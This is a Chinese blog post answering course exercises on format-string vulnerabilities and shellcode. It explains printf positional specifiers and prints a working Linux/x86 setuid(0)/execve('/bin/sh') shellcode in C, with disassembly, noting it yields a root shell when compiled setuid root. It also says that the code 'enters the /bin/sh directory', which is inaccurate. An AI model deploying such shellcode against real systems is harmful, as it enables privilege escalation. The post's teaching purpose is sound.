ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2021-07-19

2021-07-19 21:31:35  阅读:183  来源: 互联网

标签:bin setuid 07 19 Shellcode sh 2021 push shellcode


这里写目录标题

2、

为了顺利完成下节课,建议仔细阅读下面这篇文章的Level 9部分:
https://infamoussyn.com/2013/09/11/smashthestack-io-walkthrough-part-b-levels-6-10/
https://tomasuh.github.io/2015/01/19/IO-Wargame.html
,文章中利用.dtors的办法只是利用格式化字符串执行shellcode的一种形式。
printf中%2$d这类格式的含义如下:

Character Description
n$
n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. This is a POSIX extension and not in C99.
Example: printf("%2$d %1$#x %1$d",16,17) produces “17 0x10 16”

答:利用格式字符串漏洞和执行shellcode的最简单方法可能是使用我们的argv [1]的地址覆盖保存的返回地址。这意味着我们将在系统之间拥有两个非常便于携带的地址。

n是使用此格式说明符显示的参数的数量,允许使用不同的格式说明符或以不同的顺序多次输出所提供的参数。这是一个POSIX(可移植性操作系统接口)扩展而不是C99(C语言官方标准)中。

例如:printf("%2$d %1$#x %1$d",16,17) 生成 “17 0x10 16”

%2$d:第二参数的10进制格式
%1$#x:第一个参数的16进制形式,#(x):并在前面加上0x
%1$d:第一参数的10进制格式

3、

解释一下什么叫shellcode。下面这段代码被root编译并且suid后,普通用户是否能获得root shell?解释"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"其中的含义。

/*
 * gcc -z execstack -o setuid-linux setuid-linux.c *
 * setuid-linux.c - setuid/execve shellcode for Linux/x86
 
 * Short fully-functional setuid(0) and /bin/sh execve() shellcode.
 */

/* 
 * setuid(0)
 *
 * 8049380:       6a 17                   push   $0x17
 * 8049382:       58                      pop    %eax
 * 8049383:       31 db                   xor    %ebx,%ebx
 * 8049385:       cd 80                   int    $0x80
 *
 * execve("/bin//sh", ["/bin//sh"], NULL)
 *
 * 8049387:       6a 0b                   push   $0xb
 * 8049389:       58                      pop    %eax
 * 804938a:       99                      cltd   
 * 804938b:       52                      push   %edx
 * 804938c:       68 2f 2f 73 68          push   $0x68732f2f
 * 8049391:       68 2f 62 69 6e          push   $0x6e69622f
 * 8049396:       89 e3                   mov    %esp,%ebx
 * 8049398:       52                      push   %edx
 * 8049399:       53                      push   %ebx
 * 804939a:       89 e1                   mov    %esp,%ecx
 * 804939c:       cd 80                   int    $0x80
 */

char sc[] = /* 7 + 23 = 30 bytes */
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";

main()
{
	int (*f)() = (int (*)())sc; f();
}

答: Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
shellcode表面看起来是一种能起死回生的神秘数字,实际它只是一段机器码而已。那如何编写shellcode呢,通常有下面几个过程:

  1. 使用C语言描述shellcode要完成的逻辑功能
  2. 将C语言翻译成汇编语言
  3. 编译和测试
  4. 测试通过后提取机器码
    在这里插入图片描述
    (运行这段代码之后,普通用户能获得root权限)
    “\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80”
    就是上面C语言
    setuid(0);execve("/bin//sh", ["/bin//sh"], NULL)
    编译的汇编语言对应的机器码,先赋予当前进程root用户识别码0,再进入/bin/sh系统目录下。

标签:bin,setuid,07,19,Shellcode,sh,2021,push,shellcode
来源: https://blog.csdn.net/Onlyone_1314/article/details/118914231

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有